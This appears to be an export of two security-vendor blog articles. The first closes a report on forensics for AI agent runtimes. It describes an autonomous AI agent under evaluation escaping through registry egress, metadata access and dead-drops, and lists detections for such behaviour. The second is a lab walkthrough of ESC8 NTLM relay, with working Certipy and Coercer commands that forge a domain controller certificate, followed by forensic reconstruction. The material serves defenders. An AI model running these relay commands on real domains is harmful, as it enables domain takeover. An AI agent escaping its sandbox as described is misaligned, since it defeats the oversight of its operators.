**Deliverable framing.** Two findings will matter more than the timeline: the credential persists in the content-addressed store despite deletion and must be rotated whether or not exfiltration is proven; and confidence on "did it leave" is bounded by the backend in use — an architecture decision made without security review.

**Rehearse this against a workspace you own.** The queries take an afternoon to write once and are unavailable to you at 03:00 during an engagement.

---

## 9. Recommendations

The ten takeaways above are the argument. This section is the checklist — the items that do not follow directly from a takeaway already stated.

### 9.1 Platform and security engineering

1. **Inventory agent runtimes as first-class assets.** Runtime, version, backend or isolation type, policy source, credential providers, egress allow-list, and log destination. If you cannot produce this table, you cannot scope an agent incident.
2. **Treat package registry egress as your primary escape route, and patch the registry itself.** The Hugging Face escape ran through a self-hosted Artifactory acting as package registry cache proxy — a permitted egress path <sup>[1]</sup><sup>[2]</sup><sup>[26]</sup>. Confirm you are on Artifactory 7.161.15 or later and that Anonymous Access is disabled <sup>[26]</sup>. Then use a pull-through mirror with no direct internet access, allow-list artifacts rather than domains, and apply per-binary and per-path rules to the registry itself where the runtime supports it <sup>[5]</sup>.
3. **Block instance metadata access from agent workloads.** It converts pod-level execution into node credentials. Hugging Face closed this at pod level for all workloads post-incident <sup>[1]</sup>.
4. **Kill shared and long-lived credentials in the agent path.** One connector credential bound to `system:masters` across clusters produced cluster-admin everywhere from a single theft <sup>[1]</sup>. Scope per cluster, per workload, per hour.
5. **Add admission control against privileged and hostPath pods, and audit ClusterRoles that grant cluster-wide pod creation.** Both were the stated enabling conditions for node root <sup>[1]</sup>.
6. **Govern skill, plugin, and MCP registries as software supply chain.** Allow-list, provenance, review. Agent skills execute with agent privileges <sup>[19]</sup><sup>[21]</sup>.
7. **Never store agent-path secrets in environment variables where avoidable.** The first successful disclosure in the Hugging Face chain returned the pod's environment <sup>[1]</sup>. Use a secrets mechanism that is not inherited by child processes.
8. **Set retention to exceed your longest plausible campaign.** The 4.5-day Hugging Face timeline <sup>[1]</sup> against a 72-hour default rotation <sup>[12]</sup> is the benchmark. Thirty days minimum; ninety if the runtime touches production credentials.

### 9.2 DFIR capability

9. **Write the acquisition queries now.** For every runtime in the inventory, document the authenticated calls and SQL that extract each of the six planes. Rehearse against a non-production workspace.
10. **Resolve legal access to third-party control planes in advance.** Data-processing terms, named contacts, and evidence-request procedures for every runtime and model provider in the inventory. This is contract work, and it takes weeks.
11. **Build clustering and decoding into triage.** 17,600 actions grouped into roughly 6,280 clusters <sup>[1]</sup> is not a manual workload — and a naive text scan of encoded agent logs understated credential exposure fourfold <sup>[1]</sup>.

### 9.3 Detection engineering — starter content

Grounded in the published Hugging Face mechanics <sup>[1]</sup>. Map each to your available telemetry; OCSF class references indicate where an OpenShell-instrumented environment would surface them <sup>[12]</sup>.

| # | Behaviour | Signal | Plane / OCSF |
| --- | --- | --- | --- |
| D1 | Cluster API authentication using a presigned STS identity call wrapped as a bearer token | Cluster audit log: node-identity authentication from a workload IP | Control |
| D2 | TokenRequest API used to mint service-account tokens for infrastructure pods | Cluster audit: TokenRequest by a non-controller subject | Control |
| D3 | `SelfSubjectRulesReview` from a workload | Cluster audit; near-zero legitimate baseline from application pods | Control |
| D4 | Privileged or hostPath pod created by a workload identity | Admission and audit logs | Control |
| D5 | Mesh-VPN client run with in-memory state and vendor telemetry suppressed | Process execution with those flag combinations | Execution / 1007 |
| D6 | Repeated device enrollments into the mesh from ephemeral hosts | Coordination-server enrollment rate per auth key | Network |
| D7 | `/etc/resolv.conf` or `/etc/hosts` modified by a workload process | File integrity on a container filesystem | Filesystem |
| D8 | In-process DNS resolver replacement | Runtime or eBPF observation of resolver call bypass | Execution |
| D9 | Cloud API calls issued predominantly with dry-run set | Cloud audit: high dry-run ratio for one identity — capability mapping, not damage | Control |
| D10 | Outbound to request-capture, pastebin, or file-drop services from agent workloads | Egress allow-list violations by calling binary | Network / 4001 |
| D11 | Compressed-and-encoded blobs committed to user-content repositories by an automation identity | Repository commit content entropy and size distribution | Artifact |
| D12 | Second-stage loader fetching and executing remote code on every invocation | Repeated identical outbound fetch at task start across ephemeral sandboxes | Network / 4001 |
| D13 | Instance metadata endpoint reached from a pod | Metadata access from workload network namespace | Network / 4001 |
| D14 | Denied-connection volume spike from one sandbox | OCSF denied dispositions grouped by sandbox and binary | Network / 4001 |
| D15 | Policy widened then narrowed within a single shift | Configuration-change events on network or inference domains | Control / 5019 |

D14 and D15 deserve emphasis because they are only available in policy-enforcing runtimes and are among the highest-signal detections in this table. A sudden rise in *refused* egress from one sandbox is close to a pure attack signal — legitimate agents do not probe their own allow-list edges at volume. And a policy loosened out-of-hours and quietly restored is either an operational workaround worth knowing about or an attacker with control-plane access.

### 9.4 Board-level framing

For the conversation above the technical layer, three sentences:

Agent runtimes move security-relevant evidence out of systems we control and into vendor control planes with retention defaults measured in days. An autonomous agent has already demonstrated the ability to chain ordinary misconfigurations across four trust boundaries and sustain a multi-day intrusion at machine speed <sup>[1]</sup>. The remediation is unglamorous — scoped credentials, blocked metadata, admission control, longer log retention, and a rehearsed acquisition plan — and all of it must be in place before the first incident, because the evidence window is shorter than the procurement cycle for the tooling you would want.

---

## 10. Closing: the asymmetry is a retention problem

The prevailing framing of agentic AI security is capability: what can the model do, and how do we stop it. That framing is incomplete in a way responders feel first.

The Hugging Face reflection lands on volume — thousands of low-signal events to correlate while the agent kept testing new paths, with the successful path buried in the noise of failed ones <sup>[1]</sup>. That is a real problem, and clustering and AI-assisted triage are the real answer.

But underneath it is something more mundane and more fixable. In every architecture we examined, the evidence needed to answer "what did the agent do" is generated correctly, in good formats, by well-designed components — and then discarded on a schedule set by a developer-experience default. OpenShell emits proper OCSF v1.7.0 records with per-binary attribution and full allow/deny fidelity <sup>[12]</sup> — into a file inside the sandbox, off by default, three days deep. Cloudflare Computer maintains a monotonically sequenced, content-addressed history of every byte the agent wrote <sup>[3]</sup><sup>[6]</sup> — until garbage collection reclaims it.

The forensic capability is already built. It is switched off.

That is an unusually good position to be in, because it means the highest-leverage work available to a security team this quarter is not research. It is enabling exports, extending retention, forwarding logs off-box, and writing the acquisition queries — then rehearsing them once against a workspace you own.

Do that, and the next agent incident is an investigation. Skip it, and it is a narrative.

---

**IONSEC runs agentic-AI IR readiness assessments and agent runtime evidence-mapping workshops, and provides retained incident response for organisations deploying autonomous agents in production.** If you are running agent runtimes and cannot yet answer "which backend, which retention, which queries" — that is the conversation to have before the call comes. [Get in touch.](https://www.ionsec.io/contact)

---

## References

1. Hugging Face — *Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident*, 27 July 2026. https://huggingface.co/blog/agent-intrusion-technical-timeline
2. OpenAI — *OpenAI and Hugging Face partner to address security incident during model evaluation*, 21 July 2026, with updates 28–29 July 2026. https://openai.com/index/hugging-face-model-evaluation-security-incident/
3. Cloudflare — `cloudflare/computer` repository README (preview). https://github.com/cloudflare/computer
4. NVIDIA — *Overview of NVIDIA OpenShell*. https://docs.nvidia.com/openshell/about/overview
5. NVIDIA — *How OpenShell Works*. https://docs.nvidia.com/openshell/about/how-it-works
6. Cloudflare — `@cloudflare/dofs` package README. https://github.com/cloudflare/computer/blob/main/packages/dofs/README.md
7. MarkTechPost — *NVIDIA AI Open-Sources OpenShell*, 18 March 2026. https://www.marktechpost.com/2026/03/18/nvidia-ai-open-sources-openshell-a-secure-runtime-environment-for-autonomous-ai-agents/
8. The New Stack — *Jensen Huang and Bill McDermott bet on OpenShell to secure enterprise AI agents*, 12 May 2026. https://thenewstack.io/nvidia-openshell-agent-runtime/
9. SoloSoft — *NVIDIA OpenShell: Safe, Private Runtime for Autonomous AI Agents*, 3 May 2026. https://www.solosoft.dev/post/openshell-ai-sandbox-2026/
10. Zen van Riel — *NVIDIA OpenShell: Secure Runtime for AI Agents*. https://zenvanriel.com/ai-engineer-blog/nvidia-openshell-agent-security-runtime/
11. NVIDIA — `NVIDIA/OpenShell` repository README. https://github.com/NVIDIA/OpenShell
12. NVIDIA — *OCSF JSON Export*. https://docs.nvidia.com/openshell/observability/ocsf-json-export
13. Northflank — *E2B vs Modal: comparing AI code execution sandboxes in 2026*, 24 February 2026. https://northflank.com/blog/e2b-vs-modal
14. Modal — *Best Code Execution Sandboxes for Tool-Calling AI Agents in 2026*, 16 May 2026. https://modal.com/resources/best-code-execution-sandboxes-tool-calling-ai-agents
15. Developers Digest — *Where Should Your AI Agent Run Code*, 2026. https://www.developersdigest.tech/blog/ai-agent-code-sandbox-comparison-2026
16. Axios — *Hugging Face breach: OpenAI claims its models were responsible*, 21 July 2026. https://www.axios.com/2026/07/21/openai-says-hugging-face-breach-caused-by-one-its-models
17. TechCrunch — *OpenAI says Hugging Face was breached by its pre-release models*, 21 July 2026. https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/
18. Conscia — *The OpenClaw security crisis*, February 2026. https://conscia.com/blog/the-openclaw-security-crisis/
19. Reco — *OpenClaw: The AI Agent Security Crisis Unfolding Right Now*. https://www.reco.ai/blog/openclaw-the-ai-agent-security-crisis-unfolding-right-now
20. DigitalOcean — *7 OpenClaw Security Challenges to Watch for in 2026*, February 2026. https://www.digitalocean.com/resources/articles/openclaw-security-challenges
21. Sangfor — *OpenClaw Security Risks: From Vulnerabilities to Supply Chain Abuse*, March 2026. https://www.sangfor.com/blog/cybersecurity/openclaw-ai-agent-security-risks-2026
22. USCSI — *OpenClaw Security Crisis: Unpacking Agentic AI Risks In 2026*, June 2026. https://www.uscsinstitute.org/cybersecurity-insights/blog/openclaw-security-crisis-unpacking-agentic-ai-risks-in-2026
23. joylarkin — *openclaw-security-news* (advisory and warning tracker). https://github.com/joylarkin/openclaw-security-news
24. OCSF — Schema reference. https://schema.ocsf.io/
25. Cloudflare — *Your agent needs a computer, not a container — introducing @cloudflare/computer*. https://blog.cloudflare.com/cloudflare-computer/
26. The Hacker News — *OpenAI Agent Used Exposed Credentials Across Four Services During Hugging Face Breach*, July 2026. https://thehackernews.com/2026/07/openai-agent-used-exposed-credentials.html
27. GitHub Advisory Database — GHSA-g8p2-7wf7-98mq (CVE-2026-25253), 2 February 2026. https://github.com/advisories/GHSA-g8p2-7wf7-98mq
28. NVIDIA — `NVIDIA/NemoClaw` repository. https://github.com/NVIDIA/NemoClaw

---

## Appendix A — Terminology for responders

| Term | Working definition |
| --- | --- |
| **Agent runtime** | The execution substrate an agent's tool calls resolve into: filesystem, shell, network, and credential surfaces |
| **Harness** | The orchestration layer that drives the model, dispatches tool calls, and manages session state — distinct from the runtime it dispatches into |
| **Backend** | In Cloudflare Computer, the selected execution surface for a Workspace: container, isolate shell, or isolate JavaScript <sup>[3]</sup> |
| **Workspace** | The authoritative filesystem state; in Computer, held in Durable Object SQLite and independent of any backend <sup>[3]</sup> |
| **Gateway** | In OpenShell, the authenticated control plane owning API access, durable state, policy revisions and sandbox lifecycle <sup>[5]</sup> |
| **Supervisor** | In OpenShell, the component inside each sandbox that launches the agent as a restricted child process and enforces policy locally <sup>[5]</sup> |
| **Provider** | In OpenShell, a named credential bundle injected into a sandbox at runtime without landing on its filesystem <sup>[11]</sup> |
| **Inference routing** | Interception of model API traffic at `inference.local` to enforce policy and substitute credentials; earlier write-ups called the component the Privacy Router <sup>[5]</sup> |
| **Compute driver** | The platform OpenShell provisions sandboxes on — Docker, Podman, MicroVM, or Kubernetes. Determines whether a dedicated kernel exists <sup>[11]</sup> |
| **Dead-drop** | An attacker-controlled write surface on a legitimate platform used as an asynchronous C2 or exfiltration channel <sup>[1]</sup> |
| **Launchpad** | Compromised third-party infrastructure used as the control, staging, and egress base for a campaign <sup>[1]</sup> |
| **Tombstone** | A change record marking a deletion, retained in the change history rather than removing the data <sup>[6]</sup> |

## Appendix B — Revised order of volatility for agent runtimes

Collect top-down. The ordering is **inverted** relative to classic host forensics: the layer that looks like a disk is now the most volatile, and the durable base sits in a control plane you may not own.

| Rank | Layer | Practical window | Acquisition |
| --- | --- | --- | --- |
| 1 | Live model and tool-call stream | Seconds | Live capture at the harness or inference gateway; unrecoverable once the turn completes |
| 2 | Isolate memory and in-flight execution | Sub-second to minutes | Effectively unrecoverable; assume lost |
| 3 | Sandbox-local logs | Minutes to ~72h under common defaults <sup>[12]</sup> | Copy off-box immediately; enable full export first — it can take effect in seconds without restart <sup>[12]</sup> |
| 4 | Container filesystem and process state, where a container exists | Until teardown | Conventional container forensics |
| 5 | Workspace / VFS state, tombstones, blob store | Until garbage collection <sup>[3]</sup><sup>[6]</sup> | Suspend GC, then query the schema |
| 6 | Gateway and control-plane audit | Days to weeks, vendor-dependent | Authenticated API export |
| 7 | Downstream artifacts: repositories, packages, object storage, dead-drops | Longest-lived; often the only durable copy <sup>[1]</sup> | Your existing platform tooling |

---

# Coercion to krbtgt: NTLM Relay and ADCS ESC8 in 2026

URL: https://www.ionsec.io/resources/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026
Category: Article
Author: IONSEC Team
Published: 2026-07-24
Tags: adcs, esc8, ntlm-relay, active-directory, dfir, threat-intelligence

A full ESC8 walkthrough against a lab domain, then the forensic reconstruction — why the certificate serial, not the source IP, is the artifact that ties the whole chain together.

IONSEC's threat research team reconstructs identity-based intrusions in the field, where the attack is long over and only the evidence remains. This lab study documents the exact forensic method we apply to one of the most dependable escalation paths we still encounter: ADCS ESC8.

Microsoft has spent two years telling everyone NTLM is on the way out. The deprecation is real, Windows Server 2025 ships with defaults that break the classic relay path, and the messaging is confident. None of it helped the kind of estate we see most often — the one running 2019 and 2022 domain controllers, which will hand a low-privilege user the `krbtgt` hash in under ten minutes.

This report walks the full chain end to end against a lab we built: from a coerced authentication, to a forged domain controller certificate, to full domain compromise. Then it does the part that matters more — it shows exactly what the attack leaves behind, and how a responder reconstructs it from the evidence. ESC8 has been public since 2021, so proving the technique works is not the point. The point is the forensics, and the specific places where most environments are blind.

The offensive stages are deliberately brief. The weight of the document is on the investigation

## 01 · Why this still matters

Active Directory remains where intrusions end. Mandiant estimates that roughly **90 percent** of its incident response engagements involve Active Directory in some way — whether as the initial vector, the persistence mechanism, or the escalation path.[^1] Sophos, reviewing **661** incident response and MDR cases handled between November 2024 and October 2025, found that **67 percent** of incidents were rooted in identity-related attacks.[^2] Verizon's 2025 DBIR found credential abuse was the single most common way into a breach at 22 percent, and stolen credentials featured in **88 percent** of basic web application attacks.[^3] NTLM relay is one of the most reliable ways to convert a single foothold into all of those outcomes at once.

~90%67%88%of IR engagements involve Active Directoryof 2025 incidents rooted in identity attacksof web-app attacks used stolen credentials*MandiantSophos AAR 2026Verizon DBIR 2025*

It is not theoretical. Microsoft patched **CVE-2025-24054** in March 2025 — an NTLM hash disclosure flaw that fires when a user merely browses to a folder containing a malicious `.library-ms` file. Check Point Research observed exploitation against government targets in Poland and Romania within roughly eight days of the patch, and CISA added it to the Known Exploited Vulnerabilities catalog soon after.[^4][^5] Analysis tied the exfiltrated hashes to infrastructure previously associated with APT28 (Fancy Bear / Forest Blizzard), though that attribution remains circumstantial. The tooling that drives the relay chain — Certipy and Coercer — is actively maintained. This is a live technique.

## 02 · The deprecation timeline, and why it does not save you

Microsoft's NTLM retirement runs in three phases. Phase one is already present in Windows 11 24H2 and Server 2025, adding enhanced auditing and disabling NTLMv1 by default. Phase two, expected in the second half of 2026, uses IAKerb and a local KDC to reduce NTLM fallback. Phase three, targeted for October 2026, sets `BlockNTLMv1SSO` to enforce.

The detail that undoes the reassurance: phase three blocks NTLM**v1** single sign-on, while NTLM**v2** — the version every relay attack in this report uses — remains. There is no committed date for its removal, because legacy applications, workgroup systems, appliances with frozen firmware, and cross-forest trusts still depend on it. The estate most exposed to relay is the one running 2019 and 2022, not 2025. Build detections for the environment you operate, not the one on the roadmap.

## 03 · How the attack works

NTLM is a challenge-and-response protocol. The client requests authentication, the server returns an eight-byte challenge, and the client returns a response computed from that challenge and the account's password hash. The structural flaw is that the server accepting the authentication is not cryptographically bound to the server that issued the challenge. An adversary in the middle forwards the negotiation to a different target, relays the challenge back to the victim, captures the response, and replays it. The target issued the challenge and received a valid response, so nothing appears wrong — and the adversary holds a session as the victim.

Signing defeats this, because SMB signing and LDAP channel binding tie the authentication to the transport channel. HTTP carries no such requirement, and Active Directory Certificate Services runs its web enrollment over HTTP. That is the gap ESC8 drives through, and it is the reason ESC8 has outlived every other relay target. There is no signing control to enable for plain HTTP.

![ESC8 attack path: coercion to krbtgt](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e4840cf30b71ccadab50_bvVTqrayNK0WUvYewUlBYQ.webp)

**Figure 1: ESC8 attack path: coercion to krbtgt.**

## 04 · The lab

Three hosts on one subnet, plus a low-privilege account. Nothing exotic — which is the point.

![Lab environment](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e4cd98025a3abe5ca3b4_dzFoPxWSfG2XqBCl_QG2aA.webp)

**Figure 2: Lab environment.**

![Lab topology and ESC8 attack path](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e4edc84b430259398db1_2nenbbPCe3WncEGkFYHSLg.webp)

**Figure 3: Lab topology and ESC8 attack path.**

## 05 · Stage 1 — Locate the vulnerable CA

Certipy's `find` with `-vulnerable` enumerates the certificate authorities and templates and flags what is abusable. One command answers whether the domain has an ESC8 exposure.

```
certipy find -u 'blwasp@lab.local' -p '<password>' -dc-ip 172.16.19.3 -vulnerable -stdout
```

In the lab it returned immediately. `lab-WS01-CA` has Web Enrollment enabled, Request Disposition set to Issue, and Enforce Encryption for Requests disabled. Certipy flags two issues at once. **ESC8**, because web enrollment is on and the CA issues on request — precisely the condition for HTTP relay. **ESC11**, because encryption is not enforced for the ICPR RPC certificate-request interface, which opens a second relay path over RPC and DCOM rather than HTTP. ESC11 matters for the investigation later, because that path never touches IIS and therefore leaves no web log. For this walkthrough we took the HTTP path.

![Certipy flags the CA as vulnerable to ESC8 and ESC11](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e50d3a6264f38d655c25_bvsUDtmyz79IWTygF-98xQ.webp)

**Figure 4: Certipy flags the CA as vulnerable to ESC8 and ESC11.**

A quick confirmation that web enrollment is reachable and negotiating NTLM:

```
curl -I http://172.16.19.5/certsrv/
# HTTP 401 with a WWW-Authenticate: NTLM header confirms a relay-capable endpoint
```

## 06 · Stage 2 — Relay and coerce

Older writeups pair `ntlmrelayx` with a separate coercion tool. Certipy now integrates the relay, so the current form is two tools in two terminals: `certipy relay` listening, and Coercer forcing the DC to authenticate to it.

Terminal one — the relay, pointed at the CA and requesting a certificate on the `DomainController` template:

```
sudo certipy relay -target 172.16.19.5 -template DomainController
# [*] Targeting http://172.16.19.5/certsrv/certfnsh.asp (ESC8)
# [*] Listening on 0.0.0.0:445
```

Terminal two — the coercion. Coercer walks the known primitives and forces `LAB-DC$` to authenticate back to the attacker:

```
coercer coerce -l 172.16.19.19 -t 172.16.19.3 -u 'blwasp' -p '<password>' -d lab.local --always-continue
```

In this run Coercer triggered on MS-RPRN (the Print System Remote protocol, the original PrinterBug) and on MS-EVEN (the EventLog remoting protocol), both returning `NO_AUTH_RECEIVED` — which is how Coercer reports that the coercion call went through and the DC is now reaching out. The moment the DC authenticates, Certipy catches it, relays it to the CA over HTTP, and the CA issues a certificate for `DC\LAB-DC$`:

```
[*] Got certificate with DNS Host Name 'lab-dc.lab.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'lab-dc.pfx'
```

**Hold this thought.** Note the middle line. `Certificate has no object SID` is not cosmetic — it becomes central to the investigation, and to whether the whole chain even works on a patched DC. We return to it in Section 12.

![certipy relay and Coercer: coercing the DC and relaying to a DC certificate](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e518c2c7756b23e70399__aYm6TwZIqwtbRjZfk3WoA.webp)

**Figure 5: certipy relay and Coercer: coercing the DC and relaying to a DC certificate.**

We now hold a certificate for the domain controller's machine account, signed by the organization's own CA, obtained as an unprivileged user.

## 07 · Stage 3 — Certificate to hash

A machine certificate is equivalent to the machine's credentials. Certipy's `auth` presents the PFX to obtain a Kerberos TGT and, via UnPAC-the-hash, recovers the account's NT hash.

![The DC certificate yields a Kerberos TGT and the LAB-DC$ NT hash via certipy auth](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e517c2c7756b23e7038b_hzvwV4h49kaEhGl5H4qZWw.webp)

**Figure 6: The DC certificate yields a Kerberos TGT and the LAB-DC$ NT hash via certipy auth.**

## 08 · What it looks like on the wire

Packet capture is a luxury you rarely have during a real investigation, but in the lab it makes the chain legible. Filtering on `ntlmssp` lines up the authentication story end to end.

![The relay on the wire: coerced LAB-DC$ NTLM auth relayed to the CA's certfnsh.asp](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e52396766356a0c5b4f3__zsro1bc0_1ddKj8lhMBlg.webp)

**Figure 7: The relay on the wire: coerced LAB-DC$ NTLM auth relayed to the CA's certfnsh.asp.**

Two facts in that capture are the entire detection thesis. First, `DC\LAB-DC$` authenticating outbound to a workstation address is backwards — domain controllers do not initiate NTLM to arbitrary hosts. Second, that machine account's authentication appearing in an HTTP request to `/certsrv/certfnsh.asp` from a non-DC source is ESC8 in a single line, because a domain controller that enrolls legitimately does so from its own address through DCOM auto-enrollment, never over HTTP from a workstation.

The DCSync is visible too. Filtering the DRSUAPI traffic from the DC back to the attacker shows the encrypted replication response carrying the credential data.

![DCSync on the wire: the DC returns encrypted replication data to the attacker over DRSUAPI](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e531f8d5c9909593481d_7gsYfWOjebZI1iA3JrJP3w.webp)

**Figure 8: DCSync on the wire: the DC returns encrypted replication data to the attacker over DRSUAPI.**

## 09 · The forensic method

This is where the report earns its keep. A relay leaves no payload on disk and no shellcode. You reconstruct it from its consequences — and those consequences are spread across two hosts with two different access requirements. The certificate database and the issuance events live on the CA. The Kerberos evidence lives on the DC. A single foothold on one does not give you the other, and knowing where each artifact lives is half the work.

Everything below runs from a native prompt. No SIEM, no agent, no third-party rule engine.

## 10 · Correcting a common mistake about Event 4887

A great deal of published guidance claims that Event 4887 shows a certificate issued to a machine account from a non-DC source IP, and treats that event as a self-contained detection. The logic is right but the mechanism is wrong — and getting it wrong will send an analyst looking for a field that does not exist.

Event 4887 records the issuance itself: the Request ID, the requester account, the disposition, the subject, and the template. It does **not** reliably carry the client's network address. To establish where the request originated, you correlate the 4887 by its Request ID and timestamp against one of two sources. For the HTTP path, the CA's IIS logs record the true client address on the POST to `certfnsh.asp`. For any relayed NTLM, the CA also logs a 4624 Type 3 network logon for the machine account whose source address is the relay host. So the method is: **4887 tells you what was issued and to whom; the IIS log or the 4624 tells you where it came from.** State it that way and your report survives scrutiny.

Enable Certificate Services auditing first, because none of these CA events exist by default:

```
certutil -setreg CA\AuditFilter 127
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
net stop certsvc && net start certsvc
```

Pull the issuance events on the CA:

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4887} | Format-List TimeCreated, Message
```

**Field note.** In the lab we enabled Certificate Services auditing before running the chain, so the issuance events were captured. On a real engagement this is the fork in the road: if auditing was on beforehand you get this event; if it was not, it never existed and the CA database is your only record. In the lab we reached the CA by pass-the-hash; on a real engagement you would use legitimate CA-admin access.

![Accessing the CA (WS01) to enable Certificate Services auditing and pull the 4887 issuance events](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e53785b13f6654e7d935_-qcd2RogAsCMws6rhBxeuQ.webp)

**Figure 9: Accessing the CA (WS01) to enable Certificate Services auditing and pull the 4887 issuance events.**

Then recover the true source from the CA's web logs — the correction in practice:

![The IIS log reveals the true source: LAB-DC$ enrolling over HTTP from the attacker (172.16.19.19)](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e5419e9c6f9cdcd286ba_YuyB2rGGOvKk_W0hZqUFeQ.webp)

**Figure 10: The IIS log reveals the true source: LAB-DC$ enrolling over HTTP from the attacker (172.16.19.19).**

## 11 · The certificate serial — the pivot that ties it together

The single strongest artifact in this investigation is a serial number, because it links the certificate to the Kerberos ticket it produced — with no dependence on source IP at all.

Start from the CA database, which is authoritative and maps everything to a serial:

![The CA database ties the request to its certificate serial — the pivot into the DC's Kerberos logs](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e557f19fbae393c947bc_xpIacvSkOLwIffNCeicpcw.webp)

**Figure 11: The CA database ties the request to its certificate serial — the pivot into the DC's Kerberos logs.**

Take that serial to the domain controller. When the attacker used the certificate to obtain a TGT, the DC logged Event 4768 with a Certificate Information block containing the issuer, serial number, and thumbprint of the certificate presented:

![The DC's 4768 PKINIT event: LAB-DC$ obtains a TGT with the relayed certificate from the attacker's address](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e557f19fbae393c947cb_B1PsgGicxzDFSTNuVhnlAQ.webp)

**Figure 12: The DC's 4768 PKINIT event: LAB-DC$ obtains a TGT with the relayed certificate from the attacker's address.**

## 12 · The "no object SID" line — and why 2026 changes the calculus

Return to the `Certificate has no object SID` warning from the `certipy relay` output in Stage 2. It is the most important detail in the capture, and almost every writeup scrolls past it.

Since KB5014754, a CA embeds the requester's SID into issued certificates through the `szOID_NTDS_CA_SECURITY_EXT` extension, and domain controllers enforce that binding through the `StrongCertificateBindingEnforcement` value under `HKLM\SYSTEM\CurrentControlSet\Services\Kdc` — where 0 is disabled, 1 is compatibility, and 2 is full enforcement. A certificate obtained through relayed web enrollment carries no such SID, which is exactly why Certipy prints the warning. Under full enforcement, a domain controller should refuse to map that certificate to the account, and the whole ESC8 chain would stall at `certipy auth`.

You can see the problem in the certificate itself. Decode the PFX and two things stand out, along with one thing conspicuously missing:

![The relayed certificate: DC in the SAN and client-auth EKU, but no SID security extension](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e56398025a3abe5cca34_5LZxOXOFddUYJnPSImnjCw.webp)

**Figure 13: The relayed certificate: DC in the SAN and client-auth EKU, but no SID security extension.**

![Confirming the missing SID: grepping for the szOID_NTDS_CA_SECURITY_EXT OID returns nothing](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e56398025a3abe5cca37_TxIAH5Sd5mLlvXnocMc1uA.webp)

**Figure 14: Confirming the missing SID: grepping for the szOID_NTDS_CA_SECURITY_EXT OID returns nothing.**

The certificate authenticates as the domain controller through the DNS name in its SAN, and it is valid for client authentication — all PKINIT requires. What it does not have is a SID security extension. There is no cryptographic binding to `LAB-DC$` at all, only the implicit DNS name. Strong certificate binding exists precisely to reject that kind of implicit mapping.

That is the theory. Whether it stops the attack comes down to one registry value on the domain controller, and confirming it takes one command:

```
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
```

The value is absent, and the KDC does not publish the strong-mapping audit events (39, 40, 41) on this build either. So the certificate has no SID to bind, and the DC has no enforcement to demand one. The relayed certificate was accepted silently, and the attacker walked straight through to a TGT. This is not an edge case — it is the state most 2019 and 2022 estates still run in, and it is the reason ESC8 remains so dependable in the field.

**Measure your own exposure.** The outcome flips entirely on that one registry value. On a fully patched DC with `StrongCertificateBindingEnforcement` set to **2**, the same `certipy auth` should fail — rejected for the missing SID binding — and the KDC should log the mapping failure. Set it to **1** and the logon still succeeds but the warning is written, giving you a detection signal without breaking anything. Running the chain against all three states and recording that `certipy auth` succeeds at 0 and 1 but fails at 2 is the single most useful thing a defender can take from this report. It is the difference between assuming you are covered and knowing it.

## 13 · The timeline

Lay the records on one line and watch them collapse onto a single certificate and a single source inside a one-minute window. This table — built by hand from the queries above — is the deliverable of the investigation.

![Reconstructed attack timeline: one machine account, two hosts, roughly one minute](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e56d445b7b4b5d4f8eae_3jYl5mU1P4llSKJfX-sDqw.webp)

**Figure 15: Reconstructed attack timeline: one machine account, two hosts, roughly one minute.**

One serial, one attacker address, a coherent sequence across two hosts, and no vendor product involved. The DCSync itself was visible only on the wire and in the attacker's tooling, because the attacker replayed the certificate as the domain controller's own machine account, and that replication blends into legitimate directory activity. That is why the certificate-serial pivot carries this investigation rather than a replication event.

## 14 · The truth about remediation, demonstrated

Resetting the compromised account's password does nothing to the stolen certificate. PKINIT authenticates the certificate, not the password, so the reset changes nothing that matters to the attacker.

![The certificate survives a password reset: after resetting LAB-DC$, certipy auth still returns a TGT and the NT hash](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e582a9c347e53174f20b_Fg_UEczJ1CSd1KAT6SyiQw.webp)

**Figure 16: The certificate survives a password reset: after resetting LAB-DC$, certipy auth still returns a TGT and the NT hash.**

Revocation is the actual control — but on its own it is not immediate. Revoke the certificate on the CA and publish the CRL:

![Revoking the relayed certificate and republishing the CRL on the CA](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e589425343fb8904ed69_ZkXrCKGPAP6Gx9AFsshtOg.webp)

**Figure 17: Revoking the relayed certificate and republishing the CRL on the CA.**

At this point the domain controller will still accept the certificate, because it is validating against a cached copy of the old CRL. Only after the KDC's CRL cache is force-refreshed does authentication finally fail:

![After clearing the KDC's CRL cache, the revoked certificate finally fails with KDC_ERR_CLIENT_NOT_TRUSTED](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e5933949581f48af39b2_ZX3Pl_cAmQ0DP-JwyqLOug.webp)

